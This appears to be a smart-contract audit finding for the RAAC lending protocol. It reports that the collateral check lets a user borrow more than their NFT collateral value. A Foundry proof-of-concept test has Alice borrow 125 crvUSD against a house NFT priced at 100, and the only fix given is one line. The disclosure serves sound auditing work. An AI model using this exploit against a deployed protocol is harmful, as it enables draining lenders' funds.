User can borrow more reserve assets than their collateral value.
When user borrows reserve assets using their NFT collateral, protocol checks the user has enough collateral to cover the debt.
Unfortunately, the checking is wrongly implemented and user can borrow more reserve assets than their collateral value.
User can borrow more reserve assets than their collateral value.
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import "../contracts/core/pools/LendingPool/LendingPool.sol";
import "../contracts/core/tokens/RToken.sol";
import "../contracts/core/tokens/DebtToken.sol";
import "../contracts/core/tokens/RAACNFT.sol";
import "../contracts/core/primitives/RAACHousePrices.sol";
contract Audit is Test {
address owner = makeAddr("Owner");
address curveUSDVault;
address crvUSD;
LendingPool lendingPool;
RAACHousePrices raacHousePrices;
RToken rToken;
DebtToken debtToken;
RAACNFT raacNft;
function setUp() public {
vm.createSelectFork("https://eth.llamarpc.com");
curveUSDVault = 0x0655977FEb2f289A4aB78af67BAB0d17aAb84367;
crvUSD = 0xf939E0A03FB07F59A73314E73794Be0E57ac1b4E;
raacHousePrices = new RAACHousePrices(owner);
rToken = new RToken("RToken", "RToken", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
raacNft = new RAACNFT(address(crvUSD), address(raacHousePrices), owner);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNft),
address(raacHousePrices),
0.1e27
);
lendingPool.transferOwnership(owner);
vm.startPrank(owner);
raacHousePrices.setOracle(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
vm.stopPrank();
vm.label(curveUSDVault, "Curve USD Vault");
vm.label(crvUSD, "crvUSD");
vm.label(address(rToken), "RToken");
vm.label(address(debtToken), "DebtToken");
vm.label(address(raacNft), "RAAC NFT");
vm.label(address(lendingPool), "LendingPool");
}
function testAudit_UserBorrowsMoreThanCollateralValue() public {
address bob = makeAddr("Bob");
deal(crvUSD, bob, 1000e18);
vm.startPrank(bob);
IERC20(crvUSD).approve(address(lendingPool), 1000e18);
lendingPool.deposit(1000e18);
vm.stopPrank();
vm.prank(owner);
raacHousePrices.setHousePrice(1, 100e18);
address alice = makeAddr("Alice");
deal(crvUSD, alice, 100e18);
vm.startPrank(alice);
IERC20(crvUSD).approve(address(raacNft), 100e18);
raacNft.mint(1, 100e18);
raacNft.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
lendingPool.borrow(125e18);
vm.stopPrank();
}
}
Implement checking properly.